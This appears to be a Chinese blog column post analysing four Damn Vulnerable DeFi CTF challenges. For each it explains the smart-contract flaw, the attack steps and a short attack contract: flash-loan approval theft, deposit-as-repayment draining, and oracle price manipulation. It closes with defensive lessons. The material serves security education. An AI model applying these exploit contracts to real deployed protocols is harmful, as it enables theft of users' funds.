欢迎订阅专栏:10分钟智能合约:进阶实战
Damn Vulnerable DeFi 是一个聚焦于 DeFi 安全的实战型“黑客靶场”,覆盖了闪电贷、预言机、治理、NFT、DEX、时间锁、元交易等多种攻击面。每个挑战都包含一个“带漏洞的合约 + 测试用例”,解题者需编写攻击合约,使测试通过。
以下是几个经典挑战的深度分析:
一、Unstoppable:拒绝服务攻击
挑战目标:金库持有 100 万 DVT 代币并提供免费闪电贷,需使其停止服务。
漏洞代码分析
UnstoppableVault.flashLoan() 中存在以下关键检查:
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
// ... 执行闪电贷 ...
该检查要求 totalAssets()(金库实际持有的资产)必须等于 convertToShares(totalSupply)(根据份额计算出的理论资产)。
漏洞根源:金库使用 poolBalance 和 token.balanceOf(address(this)) 两种方式追踪余额,但直接向金库转账 DVT 会绕过 poolBalance 的更新。
攻击方法
攻击者只需直接调用 DVT.transfer(vault, 1) 向金库捐赠 1 个 DVT,便永久破坏了两者之间的 1:1 锚定关系,此后所有 flashLoan 调用都会在检查处失败。
核心教训:协议应统一状态更新入口,避免外部操作绕过内部记账逻辑。
二、Truster:任意外部调用导致的授权窃取
挑战目标:池中持有 100 万 DVT 代币,需在单笔交易中拯救所有资金。
漏洞代码分析
TrusterLenderPool.flashLoan() 的核心逻辑:
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data) external {
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data); // ⚠️ 任意外部调用!
require(token.balanceOf(address(this)) >= balanceBefore, "Balance not returned");
}
漏洞根源:target.functionCall(data) 允许攻击者控制调用的目标合约和 calldata。合约只检查了最终的代币余额,完全忽略了外部调用期间执行的操作。
攻击方法
- 调用
flashLoan时借款金额设为 0。 - 将
target设为 DVT 代币地址,data编码为approve(spender, allBalance)。 - 池子通过
functionCall代表攻击者执行approve,授权攻击者转移池中所有 DVT。 - 通过
transferFrom将池中所有代币转走。
攻击合约(精简版)
contract Drainer {
constructor(DVT token, TrusterLenderPool pool, address recovery) {
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)", address(this), token.balanceOf(address(pool))
);
pool.flashLoan(0, address(this), address(token), data);
token.transferFrom(address(pool), recovery, token.balanceOf(address(pool)));
}
}
核心教训:闪电贷合约不应提供执行任意外部调用的能力,应遵循标准回调模式。
三、Side Entrance:存款与还款混淆
挑战目标:池中持有 1000 ETH 并提供免费闪电贷,初始有 1 ETH,需拯救池中所有 ETH。
漏洞代码分析
SideEntranceLenderPool.flashLoan() 的核心逻辑:
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Balance not returned");
}
攻击者可在 execute() 回调中实现任意逻辑。
漏洞根源:合约仅检查最终 ETH 余额是否恢复,但不区分“偿还贷款”和“进行存款”——两者都会增加合约余额,但会计含义截然不同。
攻击方法
- 调用
flashLoan借出池中所有 ETH。 - 在
execute()回调中,将借来的 ETH 作为存款重新存入池子。 - 池子的 ETH 余额恢复,闪电贷余额检查通过。
- 调用
withdraw()提取池中所有 ETH(包括原本属于池子的 1000 ETH)。
攻击合约(精简版)
contract Attack {
SideEntranceLenderPool pool;
address recovery;
function execute() external payable {
pool.deposit{value: msg.value}(); // 将借来的 ETH 存回去
}
function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw(); // 提取所有 ETH
(bool success, ) = recovery.call{value: address(this).balance}("");
}
}
核心教训:闪电贷合约应使用 transferFrom 主动从借款人处拉取资金,而非被动等待借款人推送。
四、Puppet:预言机操纵攻击
挑战目标:借贷池持有 10 万 DVT 代币,需借出所有 DVT。初始有 25 ETH 和 1000 DVT。
漏洞代码分析
PuppetPool 使用 Uniswap V1 交易对计算 DVT 价格:
function _computeOraclePrice() private view returns (uint256) {
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
漏洞根源:价格基于 Uniswap V1 的瞬时储备计算,而该池流动性极低(仅 10 ETH / 10 DVT)。攻击者可通过一次大额兑换大幅改变价格。
攻击方法
- 授权 Uniswap 交易所使用攻击者的 1000 DVT。
- 在 Uniswap V1 中卖出大量 DVT,使池中 DVT 储备暴增、ETH 储备锐减。
- 预言机计算出 DVT 价格暴跌。
- 以极低的抵押品借出池中所有 10 万 DVT。
攻击合约(精简版)
contract Attacker {
function startAttack() public {
token.approve(address(exchange), 1000e18);
exchange.tokenToEthSwapInput(1000e18, 1e18, block.timestamp + 1 days);
uint256 collateral = pool.calculateDepositRequired(100_000e18);
pool.borrow{value: collateral}(100_000e18, recovery);
}
}
核心教训:永远不要使用低流动性 DEX 的瞬时价格作为预言机,应使用 TWAP 或多数据源机制。
总结
| 挑战 | 漏洞类型 | 核心教训 |
|---|---|---|
| Unstoppable | 拒绝服务 | 统一状态更新入口,防止外部操作绕过内部记账 |
| Truster | 任意外部调用 | 闪电贷不应提供任意 functionCall 后门 |
| Side Entrance | 存款/还款混淆 | 使用 transferFrom 拉取模式,而非被动等待推送 |
| Puppet | 预言机操纵 | 不使用低流动性 DEX 的瞬时价格作为预言机 |
项目官方仓库提供了完整的挑战源码和测试框架,建议 Clone 后在本地环境(Foundry)中实战演练。